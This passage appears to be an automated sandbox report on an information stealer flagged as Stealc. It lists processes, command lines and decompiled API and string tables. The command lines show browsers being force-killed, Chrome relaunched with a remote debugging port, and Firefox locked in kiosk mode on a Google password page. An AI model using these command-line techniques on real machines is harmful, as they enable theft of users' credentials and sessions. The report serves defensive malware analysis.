Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:10:31
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x790000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:10:31
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	01:10:31
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	01:10:31
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x790000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	01:10:31
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	01:10:32
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x790000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	01:10:32
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	01:10:32
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2008 --field-trial-handle=2132,i,2194522799737564576,4451323205111552988,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	01:10:33
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x790000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	01:10:33
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	01:10:34
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	01:10:34
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	01:10:34
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	01:10:35
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2228 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e9fcfe91-652a-46e4-bff1-f5e6f037bc26} 6404 "\\.\pipe\gecko-crash-server-pipe.6404" 13818b71110 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	01:10:37
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe"
Imagebase:	0x8f0000
File size:	1'821'184 bytes
MD5 hash:	3B43C7942554833F316CF7108B571F8B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000003.2700841413.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.2949273914.00000000008F1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	01:10:39
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe"
Imagebase:	0xa20000
File size:	2'772'480 bytes
MD5 hash:	B6232971846816075FB9476CB82148FB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	01:10:41
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4012 -parentBuildID 20230927232528 -prefsHandle 4020 -prefMapHandle 4016 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b0749eda-8a86-42ec-9730-b28c3a1804d2} 6404 "\\.\pipe\gecko-crash-server-pipe.6404" 1382aceab10 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	01:10:45
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe"
Imagebase:	0x170000
File size:	923'136 bytes
MD5 hash:	2FC35A6DB90CEBC471ECFB0F4B67D539
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	01:10:46
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x790000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	01:10:46
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	01:10:48
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x790000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	01:10:48
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	01:10:48
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x790000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	01:10:48
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	01:10:49
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x790000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	01:10:49
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	01:10:49
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x790000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	01:10:49
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	01:10:49
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	01:10:49
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	01:10:51
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2248 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4492d6da-baf1-4264-9768-f2bb72b60280} 5236 "\\.\pipe\gecko-crash-server-pipe.5236" 1c4c2370710 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	01:10:52
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe"
Imagebase:	0x1c0000
File size:	4'431'360 bytes
MD5 hash:	6B7999360A3BBA7B9C342B9F362D09B3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	01:10:54
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe"
Imagebase:	0xa20000
File size:	2'772'480 bytes
MD5 hash:	B6232971846816075FB9476CB82148FB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	01:11:02
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe"
Imagebase:	0x950000
File size:	1'901'056 bytes
MD5 hash:	4658DFD86A5C61DF7F4DC30347017718
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 051A0CAD Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1709645477.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_51a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cd0ca985129c4790e75175345d945bcee22f52db0f1317255889c52e9265f35
Instruction ID: e69dba3674138f64b1ae6a2dc1b447e57a506d91389977ae299aa4943d8e6c6e
Opcode Fuzzy Hash: 9cd0ca985129c4790e75175345d945bcee22f52db0f1317255889c52e9265f35
Instruction Fuzzy Hash: 7D1129FF14C180BEB64384415B19AF53B7FEADB7303328469F903C9903D3A51A8A6131

Function 051A0E5B Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1709645477.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_51a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f57710e7343cf8002d0a08600ae15ba9bcaad7f3fca0d73e15d22a74dab7b25d
Instruction ID: 93e545f37d1efd5163d211c2059322b95dec1c2a5aa2b76c1468efe62b4ad18f
Opcode Fuzzy Hash: f57710e7343cf8002d0a08600ae15ba9bcaad7f3fca0d73e15d22a74dab7b25d
Instruction Fuzzy Hash: F6F0E54B55D2E05ECA1B96B1556E2F62F926C5B12031609DBD0C2CD053D21E06CEE372

Function 051A0DF3 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1709645477.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_51a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5843c92979269640592df1a00b90a1dd886124434aea2ef8d7f91fc46608510
Instruction ID: f33aac560709ac03c4fc245c5dfbc140fc7a2dca2a1571cd0691ba7c1f3ce8f9
Opcode Fuzzy Hash: d5843c92979269640592df1a00b90a1dd886124434aea2ef8d7f91fc46608510
Instruction Fuzzy Hash: 45019C6F14D280FFDA1BC6748A1E6747F5ABA5F231322065FE083CA493C306409AE251

Analysis Process: skotes.exePID: 7264, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	8.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.4%
Total number of Nodes:	1307
Total number of Limit Nodes:	19

Executed Functions

Function 0026BE30 Relevance: 23.1, APIs: 6, Strings: 7, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 0026BEB8
InternetOpenW.WININET(002B8DC8,00000000,00000000,00000000,00000000), ref: 0026BEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0026BEEB
HttpOpenRequestA.WININET(?,00000000), ref: 0026BF36
HttpSendRequestA.WININET(?,00000000), ref: 0026BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 0026C0A8
InternetCloseHandle.WININET(?), ref: 0026C187
InternetCloseHandle.WININET(?), ref: 0026C18F
InternetCloseHandle.WININET(?), ref: 0026C197

Strings

RE1NXF==, xrefs: 0026BF0E
stoi argument out of range, xrefs: 0026E4EA
p, xrefs: 0026D5D3
8HJUeIfzLo==, xrefs: 0026C3CB, 0026C623
invalid stoi argument, xrefs: 0026E4F4
8HJUeMD Lq5=, xrefs: 0026C465
RmNn, xrefs: 0026D606

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$invalid stoi argument$p$stoi argument out of range
API String ID: 2167506142-833816763
Opcode ID: d016585ce258b8f732eaf8fbf70429b63ea2865d734947b69b9f4e956e4142d9
Instruction ID: a2c530999d9eaeee12139084c417e6e0f46921e90212872d41d381dd3eb5a940
Opcode Fuzzy Hash: d016585ce258b8f732eaf8fbf70429b63ea2865d734947b69b9f4e956e4142d9
Instruction Fuzzy Hash: CCB126B1A201189BDB24DF28CC84BED7B79EF45304F6081A9F948972D1DB719AE4CF94

Function 002665E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00266680

Strings

GSTmfV==, xrefs: 00266728
RySfdMLx, xrefs: 0026669C
ISNmfV==, xrefs: 002667D1

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: 2b59498d671e63a727ee0a0545cffdfb56f57dc203259ca3c8de9af4a42a1199
Instruction ID: dffcc1b4b262496b01d97a682f95cb9ba96a9844b0703866c37ca3d922e2bcb9
Opcode Fuzzy Hash: 2b59498d671e63a727ee0a0545cffdfb56f57dc203259ca3c8de9af4a42a1199
Instruction Fuzzy Hash: 9791B2B19101189BDB29DF28CC89BDDB779EB45304F4085EDE509A7282DB309BD8CFA4

Function 0027D3E2 Relevance: .2, Instructions: 172
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_exception_copy.LIBVCRUNTIME ref: 002624BE

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2952614871.000000000057A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953900394.0000000000716000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954117124.0000000000718000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: a867dbd01225bdfe1ae76436faba666c90e7de1d763999ce1a3b8d74e7174448
Instruction ID: 740823e5aa4159dcb11db3d6d9bd0a1b63002d2eda99738da3765f8bd6ffff18
Opcode Fuzzy Hash: a867dbd01225bdfe1ae76436faba666c90e7de1d763999ce1a3b8d74e7174448
Instruction Fuzzy Hash: 6151DF72921616CBDB25CF59E889AADB7F0FF58314F24816AD409EB250D770E960CF90

Function 002747B0 Relevance: 37.0, APIs: 1, Strings: 22, Instructions: 2516COMMON

Download Yara Rule

Strings

8WI0, xrefs: 00275692
MGE+, xrefs: 00274866, 002748DD, 00274B85, 00274BFC
9HQ0, xrefs: 002754E1
aWW0, xrefs: 0027555C
9250, xrefs: 002754AD
KCWUOl==, xrefs: 00275649
3I3eB==, xrefs: 00274802
WGS0, xrefs: 00275533
Vmc0, xrefs: 002755D7
`, xrefs: 00276CCC
VXA0, xrefs: 002755AE
9c9aa5, xrefs: 00275619
93E0, xrefs: 00275600
stoi argument out of range, xrefs: 00274F9C
MGI+, xrefs: 002748AD, 002749DC, 00274BCC, 00274CFB
anE0, xrefs: 0027566B
VXQ0, xrefs: 0027550A
Fw==, xrefs: 00274E1D
jS=, xrefs: 00276513, 002767E2
GE0, xrefs: 00275585
246122658369, xrefs: 0027502A, 0027503D, 0027507F, 00275089, 00275684
2I0, xrefs: 00275627

Memory Dump Source

Source File: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.2946842383.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2947211621.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948339018.00000000002C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000534000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.0000000000563000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2948645288.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
